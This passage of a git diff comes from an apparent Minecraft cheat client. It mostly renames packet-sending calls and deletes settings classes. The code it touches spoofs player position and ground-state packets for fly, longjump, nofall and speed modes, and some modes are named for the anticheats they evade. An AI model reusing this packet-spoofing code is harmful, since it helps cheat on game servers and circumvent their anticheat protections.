PacketUtils.sendPacket(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,mc.thePlayer.posY+3.25,mc.thePlayer.posZ,false),false) + PacketUtils.sendPacket(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,mc.thePlayer.posY,mc.thePlayer.posZ,false),false) + PacketUtils.sendPacket(C03PacketPlayer(true),false) mc.timer.timerSpeed = 0.4f mc.thePlayer.jump() }else { diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/vulcan/VulcanDamageFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/vulcan/VulcanDamageFly.kt index 0d5622a..8aeda58 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/vulcan/VulcanDamageFly.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/vulcan/VulcanDamageFly.kt @@ -165,7 +165,7 @@ class VulcanDamageFly : FlyMode("VulcanDamage") { flyTicks++ val yaw = Math.toRadians(mc.thePlayer.rotationYaw.toDouble()) mc.thePlayer.setPosition(mc.thePlayer.posX + (-sin(yaw) * flyDistanceValue.get()), mc.thePlayer.posY + 0.42, mc.thePlayer.posZ + (cos(yaw) * flyDistanceValue.get())) - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false)) + PacketUtils.sendPacket(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false),false) } } } @@ -192,7 +192,7 @@ class VulcanDamageFly : FlyMode("VulcanDamage") { if (sqrt(deltaX * deltaX + deltaY * deltaY + deltaZ * deltaZ) > flyDistanceValue.get()) { flyTicks++ - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(lastTickX, lastTickY, lastTickZ, false)) + PacketUtils.sendPacket(C04PacketPlayerPosition(lastTickX, lastTickY, lastTickZ, false),false) lastSentX = lastTickX lastSentY = lastTickY lastSentZ = lastTickZ @@ -216,7 +216,7 @@ class VulcanDamageFly : FlyMode("VulcanDamage") { } if (packet is S08PacketPlayerPosLook && waitFlag && !flyMode.equals("cancelmove")) { - if (bypassMode.equals("InstantDamage")) PacketUtils.sendPacketNoEvent(C06PacketPlayerPosLook(packet.x, packet.y, packet.z, packet.yaw, packet.pitch, false)) + if (bypassMode.equals("InstantDamage")) PacketUtils.sendPacket(C06PacketPlayerPosLook(packet.x, packet.y, packet.z, packet.yaw, packet.pitch, false),false) mc.timer.timerSpeed = 1.0f flyTicks = 0 @@ -228,14 +228,14 @@ class VulcanDamageFly : FlyMode("VulcanDamage") { if (!bypassMode.equals("InstantDamage")) event.cancelEvent() TransferUtils.noMotionSet = true - PacketUtils.sendPacketNoEvent(C06PacketPlayerPosLook(packet.x, packet.y, packet.z, packet.yaw, packet.pitch, false)) + PacketUtils.sendPacket(C06PacketPlayerPosLook(packet.x, packet.y, packet.z, packet.yaw, packet.pitch, false),false) } if (packet is C0FPacketConfirmTransaction) { //Make sure it works with Vulcan Velocity val transUID = (packet.uid).toInt() if (transUID >= -31767 && transUID <= -30769) { event.cancelEvent() - PacketUtils.sendPacketNoEvent(packet) + PacketUtils.sendPacket(packet,false) } } } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/vulcan/VulcanGhostFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/vulcan/VulcanGhostFly.kt index aa7d1a0..c830bd5 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/vulcan/VulcanGhostFly.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/vulcan/VulcanGhostFly.kt @@ -70,11 +70,11 @@ class VulcanGhostFly : FlyMode("VulcanGhost") { modifyTicks = 0 }else if(ticks == 2 && GameSettings.isKeyDown(mc.gameSettings.keyBindSneak) && mc.theWorld.getCollisionBoxes(mc.thePlayer.entityBoundingBox.offset(0.0, -0.5, 0.0)) .isNotEmpty()) { - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX+0.05,mc.thePlayer.posY,mc.thePlayer.posZ,true)) - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,mc.thePlayer.posY,mc.thePlayer.posZ,true)) - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,mc.thePlayer.posY+0.42,mc.thePlayer.posZ,true)) - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,mc.thePlayer.posY+0.7532,mc.thePlayer.posZ,true)) - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,mc.thePlayer.posY+1.0,mc.thePlayer.posZ,true)) + PacketUtils.sendPacket(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX+0.05,mc.thePlayer.posY,mc.thePlayer.posZ,true),false) + PacketUtils.sendPacket(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,mc.thePlayer.posY,mc.thePlayer.posZ,true),false) + PacketUtils.sendPacket(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,mc.thePlayer.posY+0.42,mc.thePlayer.posZ,true),false) + PacketUtils.sendPacket(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,mc.thePlayer.posY+0.7532,mc.thePlayer.posZ,true),false) + PacketUtils.sendPacket(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,mc.thePlayer.posY+1.0,mc.thePlayer.posZ,true),false) mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY+1.0, mc.thePlayer.posZ) stage = FlyStage.WAIT_APPLY modifyTicks = 0 diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/ncp/NCPDamageLongjump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/ncp/NCPDamageLongjump.kt index cff72be..83a3dd4 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/ncp/NCPDamageLongjump.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/ncp/NCPDamageLongjump.kt @@ -54,10 +54,10 @@ class NCPDamageLongjump : LongJumpMode("NCPDamage") { if (balance >= jumpYPosArr.size * 3) { repeat(3) { jumpYPosArr.forEach { - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(x, y + it, z, false)) + PacketUtils.sendPacket(C03PacketPlayer.C04PacketPlayerPosition(x, y + it, z, false),false) } } - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(x, y, z, true)) + PacketUtils.sendPacket(C03PacketPlayer.C04PacketPlayerPosition(x, y, z, true),false) damageStat = true mc.thePlayer.onGround = true longjump.airTick = 0 diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/ncp/NCPLatestLongjump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/ncp/NCPLatestLongjump.kt index 5ca1eaf..f700a10 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/ncp/NCPLatestLongjump.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/ncp/NCPLatestLongjump.kt @@ -60,13 +60,13 @@ class NCPLatestLongjump : LongJumpMode("NCPLatest") { } override fun onAttemptJump() { - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false)) + PacketUtils.sendPacket(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false),false) if (mmc.get()) { - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 2.0, mc.thePlayer.posZ, false)) + PacketUtils.sendPacket(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 2.0, mc.thePlayer.posZ, false),false) } else { - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 0.1, mc.thePlayer.posZ, false)) + PacketUtils.sendPacket(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 0.1, mc.thePlayer.posZ, false),false) } - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false)) + PacketUtils.sendPacket(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false),false) if (blink.get() || mmc.get()) { BlinkUtils.setBlinkState(all = true) diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/other/VerusDamageLongjump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/other/VerusDamageLongjump.kt index 9430b05..baf6572 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/other/VerusDamageLongjump.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/other/VerusDamageLongjump.kt @@ -20,8 +20,8 @@ class VerusDamageLongjump : LongJumpMode("VerusDamage") { Chat.alert("Pls move while toggling LongJump. Using AutoJump option is recommended.") return } - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(player.posX, player.posY + 3.0001, player.posZ, false)) - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket(C03PacketPlayer.C04PacketPlayerPosition(player.posX, player.posY + 3.0001, player.posZ, false),false) + PacketUtils.sendPacket( C03PacketPlayer.C06PacketPlayerPosLook( player.posX, player.posY, @@ -29,9 +29,10 @@ class VerusDamageLongjump : LongJumpMode("VerusDamage") { player.rotationYaw, player.rotationPitch, false - ) + ), + false ) - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C03PacketPlayer.C06PacketPlayerPosLook( player.posX, player.posY, @@ -39,7 +40,8 @@ class VerusDamageLongjump : LongJumpMode("VerusDamage") { player.rotationYaw, player.rotationPitch, true - ) + ), + false ) damaged = true } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/vulcan/VulcanLongjump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/vulcan/VulcanLongjump.kt index 73f146a..6f09e9d 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/vulcan/VulcanLongjump.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/vulcan/VulcanLongjump.kt @@ -104,7 +104,7 @@ class VulcanLongjump : LongJumpMode("Vulcan") { val transUID = (packet.uid).toInt() if (transUID >= -31767 && transUID <= -30769) { event.cancelEvent() - PacketUtils.sendPacketNoEvent(packet) + PacketUtils.sendPacket(packet,false) } } } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/other/GrimAC.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/other/GrimAC.kt index 74ee5d7..50fd855 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/other/GrimAC.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/other/GrimAC.kt @@ -9,12 +9,13 @@ import net.minecraft.util.BlockPos import net.minecraft.util.EnumFacing class GrimAC : NoWebMode("GrimAC") { - private val breakeronworld = BoolValue("BreakerOnWordl",true) + private val breakeronworld = BoolValue("BreakerOnWorld",true) @EventTarget override fun onUpdate() { mc.thePlayer.isInWeb = false } + @EventTarget override fun blockPos(pos: BlockPos) { if (breakeronworld.get()) mc.theWorld.setBlockState(pos, Blocks.air.defaultState) diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/HypixelHopSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/HypixelHopSpeed.kt index 648793e..b04c475 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/HypixelHopSpeed.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/HypixelHopSpeed.kt @@ -52,7 +52,7 @@ class HypixelHopSpeed : SpeedMode("HypixelHop") { "latest" -> { if (sussyPacket.get()) - PacketUtils.sendPacketNoEvent(C07PacketPlayerDigging(C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, BlockPos(-1,-1,-1), EnumFacing.UP)) + PacketUtils.sendPacket(C07PacketPlayerDigging(C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, BlockPos(-1,-1,-1), EnumFacing.UP),false) if (mc.thePlayer.onGround) { mc.thePlayer.jump() diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/KeepContainer.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/KeepContainer.kt index f8691ef..955d13f 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/KeepContainer.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/KeepContainer.kt @@ -25,7 +25,7 @@ object KeepContainer : Module() { override fun onDisable() { if (container != null) - PacketUtils.sendPacketNoEvent(C0DPacketCloseWindow(container!!.inventorySlots.windowId)) + PacketUtils.sendPacket(C0DPacketCloseWindow(container!!.inventorySlots.windowId),false) container = null } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/AntiSuffocate.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/AntiSuffocate.kt index 97b3405..10a6f0b 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/AntiSuffocate.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/AntiSuffocate.kt @@ -19,7 +19,7 @@ object AntiSuffocate : Module(){ fun onPreMotion(){ if (mc.thePlayer.isEntityInsideOpaqueBlock){ - PacketUtils.sendPacketNoEvent(C07PacketPlayerDigging(C07PacketPlayerDigging.Action.START_DESTROY_BLOCK, BlockPos(mc.thePlayer).down(), EnumFacing.UP)) + PacketUtils.sendPacket(C07PacketPlayerDigging(C07PacketPlayerDigging.Action.START_DESTROY_BLOCK, BlockPos(mc.thePlayer).down(), EnumFacing.UP),false) if (swing.get()){ mc.thePlayer.swingItem() diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/hypixel/HypSpoofNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/hypixel/HypSpoofNofall.kt index c463dad..89004e2 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/hypixel/HypSpoofNofall.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/hypixel/HypSpoofNofall.kt @@ -7,6 +7,6 @@ import net.minecraft.network.play.client.C03PacketPlayer class HypSpoofNofall : NoFallMode("HypSpoof") { override fun onPacket(event: PacketEvent) { - if(event.packet is C03PacketPlayer) PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(event.packet.x, event.packet.y, event.packet.z, true)) + if(event.packet is C03PacketPlayer) PacketUtils.sendPacket(C03PacketPlayer.C04PacketPlayerPosition(event.packet.x, event.packet.y, event.packet.z, true),false) } } \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/FreeCam.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/FreeCam.kt index 3944cb4..b830212 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/FreeCam.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/FreeCam.kt @@ -103,10 +103,10 @@ object FreeCam : Module() { if (packet is C03PacketPlayer.C04PacketPlayerPosition || packet is C03PacketPlayer.C05PacketPlayerLook || packet is C03PacketPlayer.C06PacketPlayerPosLook) { if (packetCount >= 20) { packetCount = 0 - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C06PacketPlayerPosLook(fakePlayer!!.posX, fakePlayer!!.posY, fakePlayer!!.posZ, fakePlayer!!.rotationYaw, fakePlayer!!.rotationPitch, fakePlayer!!.onGround)) + PacketUtils.sendPacket(C03PacketPlayer.C06PacketPlayerPosLook(fakePlayer!!.posX, fakePlayer!!.posY, fakePlayer!!.posZ, fakePlayer!!.rotationYaw, fakePlayer!!.rotationPitch, fakePlayer!!.onGround),false) } else { packetCount++ - PacketUtils.sendPacketNoEvent(C03PacketPlayer(fakePlayer!!.onGround)) + PacketUtils.sendPacket(C03PacketPlayer(fakePlayer!!.onGround),false) } event.cancelEvent() } @@ -121,7 +121,7 @@ object FreeCam : Module() { motionY = 0.0 motionZ = 0.0 // apply the flag to bypass some anticheat - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C06PacketPlayerPosLook(fakePlayer!!.posX, fakePlayer!!.posY, fakePlayer!!.posZ, fakePlayer!!.rotationYaw, fakePlayer!!.rotationPitch, fakePlayer!!.onGround)) + PacketUtils.sendPacket(C03PacketPlayer.C06PacketPlayerPosLook(fakePlayer!!.posX, fakePlayer!!.posY, fakePlayer!!.posZ, fakePlayer!!.rotationYaw, fakePlayer!!.rotationPitch, fakePlayer!!.onGround),false) event.cancelEvent() } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/Fucker.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/Fucker.kt index 9bb3f08..4986e81 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/Fucker.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/Fucker.kt @@ -553,12 +553,13 @@ object Fucker : Module() { ex.printStackTrace() return } - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C07PacketPlayerDigging( C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, pos, facing - ) + ), + false ) damage = 0f boost = false diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/SpeedMine.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/SpeedMine.kt index cd1a8f7..e89b290 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/SpeedMine.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/SpeedMine.kt @@ -12,8 +12,8 @@ import net.ccbluex.liquidbounce.event.PacketEvent import net.ccbluex.liquidbounce.features.module.Module import net.ccbluex.liquidbounce.features.module.ModuleCategory import net.ccbluex.liquidbounce.features.module.ModuleInfo -import net.ccbluex.liquidbounce.utils.PacketUtils.sendPacketNoEvent import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.utils.PacketUtils import net.minecraft.init.Blocks import net.minecraft.network.play.client.C07PacketPlayerDigging import net.minecraft.util.BlockPos @@ -46,12 +46,13 @@ object SpeedMine : Module() { ex.printStackTrace() return } - sendPacketNoEvent( + PacketUtils.sendPacket( C07PacketPlayerDigging( C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, pos, facing - ) + ), + false ) damage = 0f boost = false diff --git a/src/main/java/net/ccbluex/liquidbounce/features/value/BlockValue.kt b/src/main/java/net/ccbluex/liquidbounce/features/value/BlockValue.kt deleted file mode 100644 index e8c80ad..0000000 --- a/src/main/java/net/ccbluex/liquidbounce/features/value/BlockValue.kt +++ /dev/null @@ -1,6 +0,0 @@ -package net.ccbluex.liquidbounce.features.value - -/** - * Block value represents a value with a block - */ -class BlockValue(name: String, value: Int) : IntegerValue(name, value, 1, 197) \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/value/BoolValue.kt b/src/main/java/net/ccbluex/liquidbounce/features/value/BoolValue.kt deleted file mode 100644 index f4e3d79..0000000 --- a/src/main/java/net/ccbluex/liquidbounce/features/value/BoolValue.kt +++ /dev/null @@ -1,27 +0,0 @@ -package net.ccbluex.liquidbounce.features.value - -import com.google.gson.JsonElement -import com.google.gson.JsonPrimitive -import net.ccbluex.liquidbounce.utils.AnimationHelper - -/** - * Bool value represents a value with a boolean - */ -open class BoolValue(name: String, value: Boolean) : Value(name, value) { - - val animation = AnimationHelper(this) - override fun toJson() = JsonPrimitive(value) - - override fun fromJson(element: JsonElement) { - if (element.isJsonPrimitive) { - value = element.asBoolean || element.asString.equals("true", ignoreCase = true) - } - } - init { - animation.animationX = if (value) 5F else -5F - } - open fun toggle(){ - this.value = !this.value - } - -} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/value/ColorValue.kt b/src/main/java/net/ccbluex/liquidbounce/features/value/ColorValue.kt deleted file mode 100644 index 2f1d20a..0000000 --- a/src/main/java/net/ccbluex/liquidbounce/features/value/ColorValue.kt +++ /dev/null @@ -1,52 +0,0 @@ -package net.ccbluex.liquidbounce.features.value - -import com.google.gson.JsonElement -import com.google.gson.JsonPrimitive - -open class ColorValue(name : String, value: Int) : Value(name, value) { - open fun getValue(): Int { - return super.get() - } - - fun set(newValue: Number) { - set(newValue.toInt()) - } - - - override fun toJson() = JsonPrimitive(getValue()) - - override fun fromJson(element: JsonElement) { - if(element.isJsonPrimitive) - value = element.asInt - } - - open fun getHSB(): FloatArray { - val hsbValues = FloatArray(3) - val saturation: Float - val brightness: Float - var hue: Float - var cMax: Int = (getValue() ushr 16 and 0xFF).coerceAtLeast(getValue() ushr 8 and 0xFF) - if (getValue() and 0xFF > cMax) cMax = getValue() and 0xFF - var cMin: Int = (getValue() ushr 16 and 0xFF).coerceAtMost(getValue() ushr 8 and 0xFF) - if (getValue() and 0xFF < cMin) cMin = getValue() and 0xFF - brightness = cMax.toFloat() / 255.0f - saturation = if (cMax != 0) (cMax - cMin).toFloat() / cMax.toFloat() else 0F - if (saturation == 0f) { - hue = 0f - } else { - val redC: Float = (cMax - (getValue() ushr 16 and 0xFF)).toFloat() / (cMax - cMin).toFloat() - // @off - val greenC: Float = (cMax - (getValue() ushr 8 and 0xFF)).toFloat() / (cMax - cMin).toFloat() - val blueC: Float = (cMax - (getValue() and 0xFF)).toFloat() / (cMax - cMin).toFloat() // @on - hue = - (if (getValue() ushr 16 and 0xFF == cMax) blueC - greenC else if (getValue() ushr 8 and 0xFF == cMax) 2.0f + redC - blueC else 4.0f + greenC - redC) / 6.0f - if (hue < 0) hue += 1.0f - } - hsbValues[0] = hue - hsbValues[1] = saturation - hsbValues[2] = brightness - return hsbValues - } - - -} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/value/FloatValue.kt b/src/main/java/net/ccbluex/liquidbounce/features/value/FloatValue.kt deleted file mode 100644 index 3e51336..0000000 --- a/src/main/java/net/ccbluex/liquidbounce/features/value/FloatValue.kt +++ /dev/null @@ -1,27 +0,0 @@ -package net.ccbluex.liquidbounce.features.value - -import com.google.gson.JsonElement -import com.google.gson.JsonPrimitive -import kotlin.math.roundToInt - -/** - * Float value represents a value with a float - */ -open class FloatValue(name: String, value: Float, val minimum: Float = 0F, val maximum: Float = Float.MAX_VALUE, val suffix: String, displayable: () -> Boolean) - : Value(name, value) { - - constructor(name: String, value: Float, minimum: Float, maximum: Float, displayable: () -> Boolean): this(name, value, minimum, maximum, "", displayable) - constructor(name: String, value: Float, minimum: Float, maximum: Float, suffix: String): this(name, value, minimum, maximum, suffix, { true } ) - constructor(name: String, value: Float, minimum: Float, maximum: Float): this(name, value, minimum, maximum, { true } ) - fun set(newValue: Number) { - set(newValue.toFloat()) - } - - override fun toJson() = JsonPrimitive(value) - - override fun fromJson(element: JsonElement) { - if (element.isJsonPrimitive) { - value = element.asFloat - } - } -} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/value/FontValue.kt b/src/main/java/net/ccbluex/liquidbounce/features/value/FontValue.kt deleted file mode 100644 index 7233865..0000000 --- a/src/main/java/net/ccbluex/liquidbounce/features/value/FontValue.kt +++ /dev/null @@ -1,63 +0,0 @@ -package net.ccbluex.liquidbounce.features.value - -import com.google.gson.JsonElement -import com.google.gson.JsonObject -import net.ccbluex.liquidbounce.ui.font.Fonts -import net.minecraft.client.gui.FontRenderer - -/** - * Font value represents a value with a font - */ -class FontValue(valueName: String, value: FontRenderer) : Value(valueName, value) { - - private val cache: MutableList> = mutableListOf() - private fun updateCache() { - cache.clear() - for (fontOfFonts in Fonts.getFonts()) { - val details = Fonts.getFontDetails(fontOfFonts) ?: continue - val name = details[0].toString() - val size = details[1].toString().toInt() - val format = "$name $size" - - cache.add(format to fontOfFonts) - } - - cache.sortBy { it.first } - } - private fun getAllFontDetails(): Array> { - if (cache.size == 0) updateCache() - - return cache.toTypedArray() - } - override fun toJson(): JsonElement { - val fontDetails = Fonts.getFontDetails(value) - val valueObject = JsonObject() - valueObject.addProperty("fontName", fontDetails[0] as String) - valueObject.addProperty("fontSize", fontDetails[1] as Int) - return valueObject - } - - override fun fromJson(element: JsonElement) { - if (!element.isJsonObject) return - val valueObject = element.asJsonObject - value = Fonts.getFontRenderer(valueObject["fontName"].asString, valueObject["fontSize"].asInt) - } - - fun set(name: String): Boolean { - if (name.equals("Minecraft", true)) { - set(Fonts.minecraftFont) - return true - } else if (name.contains(" - ")) { - val spiced = name.split(" - ") - set(Fonts.getFontRenderer(spiced[0], spiced[1].toInt()) ?: return false) - return true - } - return false - } - val values - get() = getAllFontDetails().map { it.second } - - fun setByName(name: String) { - set((getAllFontDetails().find { it.first.equals(name, true)} ?: return).second ) - } -} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/value/IntegerValue.kt b/src/main/java/net/ccbluex/liquidbounce/features/value/IntegerValue.kt deleted file mode 100644 index ed1a14c..0000000 --- a/src/main/java/net/ccbluex/liquidbounce/features/value/IntegerValue.kt +++ /dev/null @@ -1,31 +0,0 @@ -package net.ccbluex.liquidbounce.features.value - -import com.google.gson.JsonElement -import com.google.gson.JsonPrimitive - -/** - * Integer value represents a value with a integer - */ -//open class IntegerValue(name: String, value: Int, val minimum: Int = 0, val maximum: Int = Integer.MAX_VALUE) : Value(name, value) { - -open class IntegerValue(name: String, value: Int, val minimum: Int = 0, val maximum: Int = Integer.MAX_VALUE, val suffix: String, displayable: () -> Boolean) - : Value(name, value) { - - constructor(name: String, value: Int, minimum: Int, maximum: Int, displayable: () -> Boolean): this(name, value, minimum, maximum, "", displayable) - constructor(name: String, value: Int, minimum: Int, maximum: Int, suffix: String): this(name, value, minimum, maximum, suffix, { true } ) - constructor(name: String, value: Int, minimum: Int, maximum: Int): this(name, value, minimum, maximum, { true } ) - - - - fun set(newValue: Number) { - set(newValue.toInt()) - } - - override fun toJson() = JsonPrimitive(value) - - override fun fromJson(element: JsonElement) { - if (element.isJsonPrimitive) { - value = element.asInt - } - } -} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/value/ListValue.kt b/src/main/java/net/ccbluex/liquidbounce/features/value/ListValue.kt deleted file mode 100644 index 83e4879..0000000 --- a/src/main/java/net/ccbluex/liquidbounce/features/value/ListValue.kt +++ /dev/null @@ -1,74 +0,0 @@ -package net.ccbluex.liquidbounce.features.value - -import com.google.gson.JsonElement -import com.google.gson.JsonPrimitive -import java.util.* - -/** - * List value represents a selectable list of values - */ -open class ListValue(name: String, val values: Array, value: String) : Value(name, value) { - @JvmField - var openList = false - - @JvmField - var isShown = false - - var anim=0 - - @JvmField - var open=true - - init { - this.value = value - } - - fun listtoggle(){ - openList=!openList; - } - - fun getModeListNumber(mode: String) = values.indexOf(mode) - init { - this.value = value - } - - fun containsValue(string: String): Boolean { - return Arrays.stream(values).anyMatch { it.equals(string, ignoreCase = true) } - } - - override fun changeValue(value: String) { - for (element in values) { - if (element.equals(value, ignoreCase = true)) { - this.value = element - break - } - } - } - - open fun getModes() : List { - return this.values.toList() - } - - open fun getModeGet(i: Int): String { - return values[i] - } - - fun isMode(string: String): Boolean { - return this.value.equals(string, ignoreCase = true) - } - - fun indexOf(mode: String): Int { - for (i in values.indices) { - if (values[i].equals(mode, true)) return i - } - return 0 - } - - override fun toJson() = JsonPrimitive(value) - - override fun fromJson(element: JsonElement) { - if (element.isJsonPrimitive) changeValue(element.asString) - } -} - - diff --git a/src/main/java/net/ccbluex/liquidbounce/features/value/NumberValue.kt b/src/main/java/net/ccbluex/liquidbounce/features/value/NumberValue.kt deleted file mode 100644 index 7230222..0000000 --- a/src/main/java/net/ccbluex/liquidbounce/features/value/NumberValue.kt +++ /dev/null @@ -1,28 +0,0 @@ -package net.ccbluex.liquidbounce.features.value - -import com.google.gson.JsonElement -import com.google.gson.JsonPrimitive -import kotlin.math.roundToInt - -open class NumberValue(name: String, value: Double, val minimum: Double = 0.0, val maximum: Double = Double.MAX_VALUE,val inc: Double/* = 1.0*/) - : Value(name, value) { - - fun set(newValue: Number) { - set(newValue.toDouble()) - } - - override fun toJson() = JsonPrimitive(value) - - override fun fromJson(element: JsonElement) { - if (element.isJsonPrimitive) - value = element.asDouble - } - open fun getDouble(): Double { - return ((this.get() as Number).toDouble() / this.inc).roundToInt() * this.inc - } - - fun append(o: Double): NumberValue { - set(get() + o) - return this - } -} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/value/TextValue.kt b/src/main/java/net/ccbluex/liquidbounce/features/value/TextValue.kt deleted file mode 100644 index 8851f42..0000000 --- a/src/main/java/net/ccbluex/liquidbounce/features/value/TextValue.kt +++ /dev/null @@ -1,23 +0,0 @@ -package net.ccbluex.liquidbounce.features.value - -import com.google.gson.JsonElement -import com.google.gson.JsonPrimitive - -/** - * Text value represents a value 